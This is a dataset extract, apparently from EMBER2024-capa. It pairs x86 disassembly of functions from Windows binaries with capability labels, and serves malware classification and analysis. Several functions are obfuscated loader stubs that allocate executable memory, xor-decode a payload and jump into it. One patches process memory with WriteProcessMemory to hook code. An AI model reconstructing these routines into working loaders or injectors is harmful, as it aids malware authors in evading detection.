joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409070
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movsd xmm0, qword [0x437b08]
mov eax, 0x2173
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0xc], 0x5a2a9360
mov word [ebp - 4], ax
push esi
lea eax, [ebx + 4]
mov dword [ebp - 0x10], 0xcd45d94c
push edi
mov dword [ebp - 8], 0x70237f74
movsd qword [ebp - 0x18], xmm0
push eax
call fcn.0041ef2c
movsd xmm0, qword [0x436b30]
mov esi, eax
mov edi, dword [ebp + 8]
add esp, 4
movsd qword [ebp - 0x18], xmm0
mov dword [ebp - 0x10], esi
jmp 0x4090d0
movzx eax, word [ebp - 4]
mov cl, byte [edi + 0x4322d0]
sub eax, 0x16902d31
movsd xmm1, qword [0x436d68]
mov word [ebp - 4], ax
movsd xmm0, qword [ebp - 0x18]
mov byte [esi], cl
subsd xmm1, xmm0
mov eax, dword [0x44104c]
mov al, byte [eax + edi]
xor al, cl
ucomisd xmm1, qword [0x437af8]
mov byte [esi], al
mov al, byte [edi + 0x4322d1]
mov byte [esi + 1], al
lahf
test ah, 0x44
jp 0x409137
movzx ecx, word [ebp - 4]
movzx eax, word [0x43f344]
add ecx, 0x3872447e
imul ecx, eax
mov word [0x43f344], cx
inc dword [ebp - 4]
mov eax, dword [0x44104c]
mov al, byte [eax + edi + 1]
add edi, 2
xor byte [esi + 1], al
movzx eax, word [esi]
mov dword [ebp + 0xc], eax
add eax, 3
push eax
lea eax, [edi + 0x4322d0]
push eax
push esi
call fcn.0041d940
movsx ecx, word [ebp - 4]
add esp, 0xc
movsx eax, word [ebp - 4]
mov edx, dword [ebp + 0xc]
add ecx, eax
add edi, dword [0x44104c]
add edx, 3
add edx, esi
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
movsd qword [ebp - 0x18], xmm0
cmp esi, edx
je 0x4091b7
sub edi, esi
jmp 0x409190
mov al, byte [edi + esi]
xor byte [esi], al
inc esi
mov eax, dword [ebp - 0xc]
sub eax, 0x272d42dc
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, qword [0x43f008]
movsd qword [ebp - 0x18], xmm0
cmp esi, edx
jne 0x409190
mov ecx, dword [ebp + 0xc]
cmp ebx, ecx
je 0x409243
movsd xmm2, qword [0x43f3a8]
movsx eax, word [ebp - 4]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
addsd xmm1, qword [0x43f580]
inc dword [ebp - 4]
movsd xmm0, qword [0x43f580]
subsd xmm0, qword [0x436798]
subsd xmm1, qword [0x437838]
movsd qword [0x43f580], xmm0
comisd xmm2, xmm1
jb 0x409233
movss xmm0, dword [0x43f0c4]
movsd xmm1, qword [0x437618]
cvtps2pd xmm2, xmm0
movsd xmm0, qword [ebp - 0x18]
subsd xmm1, xmm0
subsd xmm2, xmm1
cvtpd2ps xmm0, xmm2
movss dword [0x43f0c4], xmm0
mov byte [edx], 0
lea esi, [edx - 3]
mov edi, dword [edx - 3]
sub ebx, ecx
jmp 0x4090d0
mov ax, word [0x43f1d8]
movsd xmm1, qword [ebp - 0x18]
mov ecx, dword [ebp - 8]
addsd xmm1, qword [0x437268]
movsx edx, ax
mov eax, dword [ebp - 0xc]
inc dword [ebp - 8]
add eax, edx
add ecx, eax
mov eax, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
comisd xmm0, xmm1
jb 0x4092a5
movss xmm1, dword [0x43f4ec]
mov edx, 0xc02b2b32
mov ecx, dword [ebp - 8]
sub edx, ecx
add edx, dword [ebp - 8]
movd xmm0, edx
cvtdq2ps xmm0, xmm0
subss xmm1, xmm0
movss dword [0x43f4ec], xmm1
dec dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x4094e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x441888], 0
mov eax, 0x26a8
movsd xmm0, qword [0x437208]
movsd qword [ebp - 0xc], xmm0
mov dword [ebp - 4], 0xced1c2fe
mov word [ebp - 4], ax
jne 0x409516
call fcn.00408a30
mov dword [0x441888], eax
push esi
push edi
push 3
push 0x4fd
mov dword [0x43f158], 0xce835fc1
call fcn.00409070
mov esi, eax
push esi
push dword [ebp + 8]
call fcn.0041f3ec
push esi
push 3
mov edi, eax
call fcn.004092b0
add esp, 0x18
test edi, edi
jne 0x40957d
push 0x3e8
call dword [0x44181c]
push 3
push 0x4fd
call fcn.00409070
mov esi, eax
push esi
push dword [ebp + 8]
call fcn.0041f3ec
push esi
push 3
mov edi, eax
call fcn.004092b0
add esp, 0x18
test edi, edi
je 0x4095c3
push edi
push 1
push 4
push 0x441888
call fcn.0041f55a
movsd xmm0, qword [0x43f5b8]
subsd xmm0, qword [0x436798]
push edi
movsd qword [0x43f5b8], xmm0
movsd xmm0, qword [ebp - 0xc]
subsd xmm0, qword [0x43f5b8]
cvttsd2si eax, xmm0
mov dword [0x43f0c0], eax
call fcn.0041f0c1
add esp, 0x14
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40b4e0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push dword [0x4411f8]
mov eax, 0x714
mov dword [ebp - 4], 0x4e5e5f22
mov word [ebp - 4], ax
call fcn.00406fe0
add esp, 4
push 1
call fcn.0041ee92
int3
Function at 0x428e6a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4401a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00420cf1
mov dword [ebp - 0x14], eax
cmp dword [0x442778], esi
jne 0x428f5d
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x428eea
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x42903d
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x42903d
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x42903d
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x442778], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x44277c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x442780], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x442788], eax
test eax, eax
je 0x428f5a
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x442784], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x428f82
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x428f75
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x428f97
push 4
pop eax
jmp 0x42903f
cmp dword [ebp - 0x14], esi
je 0x428f97
push dword [0x442778]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x428f7c
mov eax, dword [0x442784]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x428ff5
cmp dword [0x442788], edi
je 0x428ff5
push eax
call ebx
push dword [0x442788]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x428ff5
test eax, eax
je 0x428ff5
call ecx
test eax, eax
je 0x428fea
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x428fea
test byte [ebp - 8], 1
jne 0x428ff5
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x429025
mov eax, dword [0x44277c]
cmp eax, edi
je 0x429022
push eax
call ebx
test eax, eax
je 0x429022
call eax
mov esi, eax
test esi, esi
je 0x429022
mov eax, dword [0x442780]
cmp eax, edi
je 0x429022
push eax
call ebx
test eax, eax
je 0x429022
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x442778]
call ebx
test eax, eax
je 0x42903d
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x42903f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041fcbb
mov esp, ebp
pop ebp
ret
Function at 0xaad058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00aad1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xaad07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaad06a
add dl, dl
jne 0xaad089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaad0dc
xor eax, eax
add dl, dl
jne 0xaad096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xaad17d
add dl, dl
jne 0xaad0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaad0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaad0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaad0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xaad0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xaad075
mov eax, 1
add dl, dl
jne 0xaad0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xaad0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaad0e1
sub eax, ebx
mov ebx, 1
jne 0xaad128
mov ecx, 1
add dl, dl
jne 0xaad10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xaad119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaad105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaad075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xaad13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xaad14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xaad136
cmp eax, 0x7d00
jae 0xaad16d
cmp eax, 0x500
jb 0xaad168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaad075
cmp eax, 0x7f
ja 0xaad170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xaad075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xaad19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xaad075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10007c1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10007c2e
pop dword [ebp - 0xc]
mov eax, 0x562cfc31
add eax, 0xb9d37ffd
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x6dc01e34
sub dword [ebp - 0x1c], 0x1f6dd8e9
mov dword [ebp - 0x18], 0x20b2a443
add dword [ebp - 0x18], 0x1180a802
mov dword [ebp - 0x14], 0xa68cc811
sub dword [ebp - 0x14], 0x5a4083e3
mov dword [ebp - 0x10], 0x552853fe
sub dword [ebp - 0x10], 0x552853fe
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x88579d7a
add dword [ebp - 0x1c], 0xec1acbdc
mov dword [ebp - 0x18], 0x133c8fa
add dword [ebp - 0x18], 0x4038987b
mov dword [ebp - 0x14], 0x97b5060a
add dword [ebp - 0x14], 0xcbba6662
mov dword [ebp - 0x10], 0xed1afe34
add dword [ebp - 0x10], 0x12e501cc
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xaef69d3
sub eax, 0xfaeee983
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3d98a
push 0
call eax
mov ecx, 0x63b7
xor edx, edx
add edx, eax
mov ebx, 0xab55cebf
add ebx, 0x64ab2b41
add ebx, dword [ebp - 0xc]
mov esi, 0x5608c2c2
add dword [ebp - 4], ecx
mov edi, dword [ebx]
xor dword [ebp - 4], 0x95e193a2
xor edi, esi
mov dword [ebp - 8], 0xde7f60dd
mov dword [edx], edi
xor dword [ebp - 4], edi
add edx, 0xad4603c1
sub edx, 0xad4603bd
add ebx, 4
loop 0x10007d41
add eax, 0x4bdf2df4
add eax, 0xb42253bb
mov ebx, eax
add eax, 5
mov ecx, 0x3f49e563
add ecx, 0xd0b61a9d
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x4064c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 2
push 0x40000000
push dword [ebp - 0x3a0]
call dword [ebp - 0x3c8]
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0xffffffff
je 0x406511
push 0
lea eax, [ebp - 0x6c4]
push eax
push dword [ebp - 0x38c]
push dword [ebp - 0x748]
push dword [ebp - 0x380]
call dword [ebp - 0x730]
push dword [ebp - 0x380]
call dword [ebp - 0x680]
jmp 0x406516
jmp 0x405e69
and dword [ebp - 0x37c], 0
push dword [ebp - 0x3a0]
call dword [ebp - 0x704]
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
je 0x40655d
lea eax, [ebp - 0x714]
push eax
call fcn.004044d7
pop ecx
push eax
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
call fcn.0040448c
add esp, 0xc
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
je 0x406568
jmp 0x40656d
jmp 0x405e69

Function at 0x4066a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [edi + 0x3c]
mov edx, dword [edi + eax + 0x78]
js 0x4066a5
xlatb
js 0x4066a5
xlatb
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
sbb byte [ebx - 0x20fcdfa6], cl
call fcn.004044c7
aas
sbb byte [edi], ah
push ecx
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne 0x4066b4
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne 0x4066b4
call fcn.004044c7
nop
jle 0x40669a
invalid

Function at 0x407668
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412018]
jne 0x407672
repz ret
jmp fcn.00407bfa

Function at 0x4081a0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x412018]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x430], ax
push 0x208
push 0
lea ecx, [ebp - 0x42e]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
xor edx, edx
mov word [ebp - 0x218], dx
push 0x208
push 0
lea eax, [ebp - 0x216]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x438], 0
push 0x105
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x438]
push edx
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x434]
push ecx
push 0x105
lea edx, [ebp - 0x430]
push edx
push 0x40d928
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x408266
push 0xa
push 0x104
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x434]
push ecx
call dword [sym.imp.MSVCR90.dll__itow_s]
add esp, 0x10
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x10
jge 0x408288
push str.thsnYaViMRAeBoda
push 0x104
mov eax, dword [ebp + 8]
push eax
call fcn.004063f0
cmp dword [ebp + 0xc], 0
je 0x4082a0
mov ecx, dword [ebp + 0xc]
push ecx
push 0x104
mov edx, dword [ebp + 8]
push edx
call fcn.004063f0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407668
mov esp, ebp
pop ebp
ret
Function at 0x41aea4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x41aeb3
pop dword [ebp - 0x30]
mov eax, 0xe1c3a885
add eax, 0x1e7e062e
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x31889fdd
add dword [ebp - 0x40], 0x1cc9a56e
mov dword [ebp - 0x3c], 0xde759bde
add dword [ebp - 0x3c], 0x53bdb067
mov dword [ebp - 0x38], 0xdd9b67e6
add dword [ebp - 0x38], 0x6eb0dc48
mov dword [ebp - 0x34], 0xdb8ed465
sub dword [ebp - 0x34], 0xdb8ed465
lea eax, [ebp - 0x40]
push eax
mov eax, 0x99e658ef
sub eax, 0x99a0a88b
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x70c35a96
sub dword [ebp - 0x40], 0xfc50f140
mov dword [ebp - 0x3c], 0xdc582844
add dword [ebp - 0x3c], 0x65143931
mov dword [ebp - 0x38], 0x9ba7b11c
add dword [ebp - 0x38], 0xc7c7bb50
mov dword [ebp - 0x34], 0x3c07f773
sub dword [ebp - 0x34], 0x3c07f773
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x536b5
push 0
call eax
mov ecx, 0x6066
mov esi, eax
mov edi, 0x476000
add edi, dword [ebp - 0x30]
mov edx, 0xc600b37d
add edx, 0x92753498
xor dword [ebp - 0xc], esi
mov ebx, dword [edi]
add dword [ebp - 0x14], 0xe3cebacd
xor ebx, edx
mov dword [ebp - 0x1c], 0xd9c4d1a
mov dword [esi], ebx
xor dword [ebp - 0x14], 0x7c7f98c6
add esi, 0x66b92c65
sub esi, 0x66b92c61
add edi, 0x1482a35c
add edi, 0xeb7d5ca8
loop 0x41afc4
add eax, 0x1746b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xa6aa148f
sub ecx, 0xa66a148f
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x6d48e120
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x6d48e12f
pop dword [ebp - 8]
mov eax, 0x29b56a1e
add eax, 0x43937711
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xb783acae
add dword [ebp - 0x18], 0x96ce989d
mov dword [ebp - 0x14], 0xda28098c
add dword [ebp - 0x14], 0x580b42b9
mov dword [ebp - 0x10], 0xc85be3b0
sub dword [ebp - 0x10], 0x7c0f9f82
mov dword [ebp - 0xc], 0x2f5da7c
sub dword [ebp - 0xc], 0x2f5da7c
lea eax, [ebp - 0x18]
push eax
mov eax, 0xf165ded7
sub eax, 0x841cadb7
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xb809469
sub dword [ebp - 0x18], 0x970e2b13
mov dword [ebp - 0x14], 0xf89fe670
sub dword [ebp - 0x14], 0xb73384fb
mov dword [ebp - 0x10], 0x5e8a175b
sub dword [ebp - 0x10], 0xfb1aaaef
mov dword [ebp - 0xc], 0x37007505
sub dword [ebp - 0xc], 0x37007505
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xd51b2397
add eax, 0x982e0d85
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x39c8d
push 0
call eax
mov ecx, 0x10c5bfe2
sub ecx, 0x10c56f28
mov edx, eax
mov edi, 0xfd71506a
add edi, 0x6fd8a396
add edi, dword [ebp - 8]
mov esi, 0x6ad254bb
add esi, 0xd6b7ea1a
sub dword [ebp - 4], ebx
mov ebx, dword [edi]
add dword [ebp - 4], edx
xor ebx, esi
xor dword [ebp - 4], 0x3aa3577a
mov dword [edx], ebx
xor dword [ebp - 4], 0x6791293d
add edx, 0xc3fd6e18
sub edx, 0xc3fd6e14
add edi, 0x5646cba3
sub edi, 0x5646cb9f
loop 0x6d48e251
add eax, 0x43deaf7c
add eax, 0xbc22863f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x1e0cf99a
sub ecx, 0xb0c4f99a
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x6d491820
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d49bb70]
jne 0x6d49182a
repz ret
jmp fcn.6d491dab
Function at 0x40686f
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x460114], 0
jne 0x4068ad
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406883
mov dword [ecx*4 + 0x460110], eax
inc ecx
cmp ecx, 0x100
jl 0x40687e
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x4068da
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x460110]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x4068bb
not eax
pop ebp
ret 0xc

Function at 0x40895d
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x4085d8
add eax, 0x76dbe91
call fcn.0040897f
sub eax, eax
xor dword [esi], edx
sub eax, 0x138b3346
inc esi
cmp esi, edi
jne fcn.0040895d
ret

Function at 0xff5318
Capabilities:
Encode data using xor

Disassembly:
jmp 0xff5322
pushal
call 0xff5328
pop ebp
sub ebp, 0x10
sub ebp, 0xbf5318
jmp 0xff533e
mov eax, 0xbf5318
add eax, ebp
add eax, 0x4c
mov ecx, 0x58d
mov edx, 0x20841b2a
xor byte [eax], dl
inc eax
dec ecx
jne 0xff5355
jmp 0xff5368
mov eax, dword [0x16a3a1e7]
sub ch, byte [edx]
sub ch, byte [ebx + 0x2a2ad2eb]
sub ch, byte [ecx]
out 0x92, eax
sub al, 0x2a
sub ch, byte [edx]
nop
add ch, byte [edx]
sub ch, byte [edx]
invalid
Function at 0x1047484c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x10474856
pushal
call 0x1047485c
pop ebp
sub ebp, 0x10
sub ebp, 0x47484c
mov al, byte [esp + 0x28]
cmp al, 1
je 0x10474880
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x10474889
mov eax, 0x47484c
add eax, ebp
add eax, 0x63
mov ecx, 0x614
mov edx, 0xa4593451
xor byte [eax], dl
inc eax
dec ecx
jne 0x104748a0
jmp 0x104748b3
ficomp dword [edx + ebx*8 + 0x51516dd8]
push ecx
rcl byte [eax + 0x515151a9]
push edx
pushfd
jmp 0x61989a1f
Function at 0x100287c6
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
push ebx
xor eax, eax
push eax
push eax
call fcn.100b8f80
mov ebx, dword [esp + 0x14]
and ebx, ebx
jle 0x10028939
push dword [0x1021c498]
call fcn.100b1758
mov dword [esp + 4], eax
push dword [esp + 0x14]
mov ebx, dword [esp + 8]
mov ebp, dword [0x1021c498]
imul ebx, ebx, 0xc
add ebp, ebx
pop eax
mov dword [ebp + 8], eax
push 6
call fcn.100b7db0
push eax
mov ebx, dword [esp + 8]
mov ebp, dword [0x1021c498]
imul ebx, ebx, 0xc
add ebp, ebx
pop eax
mov dword [ebp], eax
push 6
call fcn.100b7db0
push eax
mov ebx, dword [esp + 8]
mov ebp, dword [0x1021c498]
imul ebx, ebx, 0xc
add ebp, ebx
pop eax
mov dword [ebp + 4], eax
push 0
push 6
mov ebx, dword [esp + 0xc]
mov ebp, dword [0x1021c498]
imul ebx, ebx, 0xc
add ebp, ebx
push dword [ebp]
push dword [esp + 0x20]
push 0xffffffff
call sub.KERNEL32.dll_ReadProcessMemory
and eax, eax
je 0x10028939
push 0xe9
mov ebx, dword [esp + 8]
mov ebp, dword [0x1021c498]
imul ebx, ebx, 0xc
add ebp, ebx
push dword [ebp + 4]
pop eax
call fcn.100443c0
push 0xc3
mov ebx, dword [esp + 8]
mov ebp, dword [0x1021c498]
imul ebx, ebx, 0xc
add ebp, ebx
mov ebx, dword [ebp + 4]
add ebx, 5
push ebx
pop eax
call fcn.100443c0
mov ebx, dword [esp + 0x18]
sub ebx, dword [esp + 0x14]
add ebx, 0xfffffffb
push ebx
mov ebx, dword [esp + 8]
mov ebp, dword [0x1021c498]
imul ebx, ebx, 0xc
add ebp, ebx
mov ebx, dword [ebp + 4]
inc ebx
push ebx
pop eax
call fcn.100443b0
lea eax, [esp]
push eax
push 0x40
push 6
push dword [esp + 0x20]
call sub.KERNEL32.dll_VirtualProtect
push 0
push 6
mov ebx, dword [esp + 0xc]
mov ebp, dword [0x1021c498]
imul ebx, ebx, 0xc
add ebp, ebx
push dword [ebp + 4]
push dword [esp + 0x20]
push 0xffffffff
call sub.KERNEL32.dll_WriteProcessMemory
and eax, eax
je 0x10028935
mov ebx, dword [esp + 4]
inc ebx
mov eax, ebx
inc eax
push 0x1021c498
push eax
call fcn.100b1766
mov eax, dword [esp + 4]
jmp 0x10028942
xor eax, eax
jmp 0x10028942
mov eax, 0xffffffff
jmp 0x10028942
add esp, 8
pop ebx
pop ebp
ret 8
Function at 0x1003ae76
Capabilities:
Get common file path

Disassembly:
push ebx
xor eax, eax
push eax
push eax
call fcn.100b8f80
push dword [esp + 0x14]
call fcn.10044410
lea eax, [esp]
push eax
push dword [esp + 0x14]
push 0
call sub.SHELL32.DLL_SHGetSpecialFolderLocation
mov ebx, eax
and ebx, ebx
jne 0x1003af4d
push edx
call fcn.100b8e70
pop edx
push eax
push edx
call fcn.100b8e70
pop edx
push eax
push 0x104
call fcn.100b65d0
lea eax, [esp + 8]
push eax
call fcn.100b9010
mov eax, dword [esp + 4]
push eax
push dword [esp + 4]
call sub.SHELL32.DLL_SHGetPathFromIDListW
mov edx, dword [esp + 4]
xor ecx, ecx
call fcn.10044420
jne 0x1003af45
push edx
call fcn.100b8e70
pop edx
push eax
push edx
call fcn.100b8e70
pop edx
push eax
push 1
push dword [esp + 0x10]
call fcn.100b6f00
call fcn.100b8f10
lea edx, [0x101f4b4c]
pop ecx
push ecx
call fcn.10044460
mov ecx, eax
call fcn.10044420
jne 0x1003af45
mov edx, dword [esp + 4]
push edx
call fcn.100b8e70
pop edx
push eax
push edx
call fcn.100b8eb0
lea edx, [0x101f4b4c]
push edx
call fcn.100b8eb0
lea eax, [esp + 8]
push eax
call fcn.100b9010
push dword [esp]
call sub.OLE32.DLL_CoTaskMemFree
mov edx, dword [esp + 4]
push edx
call fcn.100b8e70
pop edx
push eax
push edx
call fcn.100b8eb0
pop eax
push eax
call fcn.100443e0
pop edx
add eax, edx
jmp 0x1003af75
push dword [esp + 4]
call fcn.100b8fe0
add esp, 8
pop ebx
ret 4

Function at 0x1003af85
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push ebx
xor eax, eax
push eax
call fcn.100b8f80
cmp dword [0x1021c0a0], 0
je 0x1003afaa
mov ebx, dword [0x1021c0a0]
cmp ebx, 0xffffffff
je 0x1003afaa
mov eax, 1
jmp 0x1003afac
xor eax, eax
and eax, eax
je 0x1003afcc
push dword [0x1021c0a0]
call sub.KERNEL32.dll_TlsGetValue
mov dword [esp], eax
cmp dword [esp], 0
je 0x1003afcc
mov ebp, dword [esp]
mov eax, dword [ebp]
jmp 0x1003afce
xor eax, eax
add esp, 4
pop ebx
pop ebp
ret